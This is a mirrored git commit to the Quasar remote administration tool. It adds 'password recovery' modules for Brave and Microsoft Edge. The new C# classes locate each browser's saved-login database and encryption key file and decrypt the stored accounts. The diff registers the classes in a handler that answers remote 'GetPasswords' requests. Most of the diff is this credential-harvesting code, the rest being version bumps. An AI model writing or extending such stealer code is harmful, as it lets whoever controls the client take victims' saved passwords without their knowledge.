mirror of https://github.com/quasar/Quasar.git
MS Edge & Brave Password Recovery
This commit is contained in:
parent
c4c40e6406
commit
52ff39d7f7
|
@ -32,9 +32,11 @@ private void Execute(ISender client, GetPasswords message)
|
|||
|
||||
var passReaders = new IAccountReader[]
|
||||
{
|
||||
new BravePassReader(),
|
||||
new ChromePassReader(),
|
||||
new OperaPassReader(),
|
||||
new OperaGXPassReader(),
|
||||
new EdgePassReader(),
|
||||
new YandexPassReader(),
|
||||
new FirefoxPassReader(),
|
||||
new InternetExplorerPassReader(),
|
||||
|
|
|
@ -30,5 +30,5 @@
|
|||
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
|
||||
// übernehmen, indem Sie "*" eingeben:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.0")]
|
||||
[assembly: AssemblyFileVersion("1.4.0")]
|
||||
[assembly: AssemblyVersion("1.4.2")]
|
||||
[assembly: AssemblyFileVersion("1.4.2")]
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
using Quasar.Common.Models;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Quasar.Client.Recovery.Browsers
|
||||
{
|
||||
public class BravePassReader : ChromiumBase
|
||||
{
|
||||
/// <inheritdoc />
|
||||
public override string ApplicationName => "Brave";
|
||||
|
||||
/// <inheritdoc />
|
||||
public override IEnumerable<RecoveredAccount> ReadAccounts()
|
||||
{
|
||||
try
|
||||
{
|
||||
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
||||
"BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data");
|
||||
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
||||
"BraveSoftware\\Brave-Browser\\User Data\\Local State");
|
||||
return ReadAccounts(filePath, localStatePath);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return new List<RecoveredAccount>();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using Quasar.Common.Models;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Quasar.Client.Recovery.Browsers
|
||||
{
|
||||
public class EdgePassReader : ChromiumBase
|
||||
{
|
||||
/// <inheritdoc />
|
||||
public override string ApplicationName => "Microsoft Edge";
|
||||
|
||||
/// <inheritdoc />
|
||||
public override IEnumerable<RecoveredAccount> ReadAccounts()
|
||||
{
|
||||
try
|
||||
{
|
||||
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
||||
"Microsoft\\Edge\\User Data\\Default\\Login Data");
|
||||
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
||||
"Microsoft\\Edge\\User Data\\Local State");
|
||||
return ReadAccounts(filePath, localStatePath);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return new List<RecoveredAccount>();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -16,5 +16,5 @@
|
|||
[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")]
|
||||
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.0")]
|
||||
[assembly: AssemblyFileVersion("1.4.0")]
|
||||
[assembly: AssemblyVersion("1.4.2")]
|
||||
[assembly: AssemblyFileVersion("1.4.2")]
|
||||
|
|
|
@ -33,5 +33,5 @@
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.0")]
|
||||
[assembly: AssemblyFileVersion("1.4.0")]
|
||||
[assembly: AssemblyVersion("1.4.2")]
|
||||
[assembly: AssemblyFileVersion("1.4.2")]
|
||||
|
|
|
@ -30,5 +30,5 @@
|
|||
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
|
||||
// übernehmen, indem Sie "*" eingeben:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.4.0")]
|
||||
[assembly: AssemblyFileVersion("1.4.0")]
|
||||
[assembly: AssemblyVersion("1.4.2")]
|
||||
[assembly: AssemblyFileVersion("1.4.2")]
|
Loading…
Reference in New Issue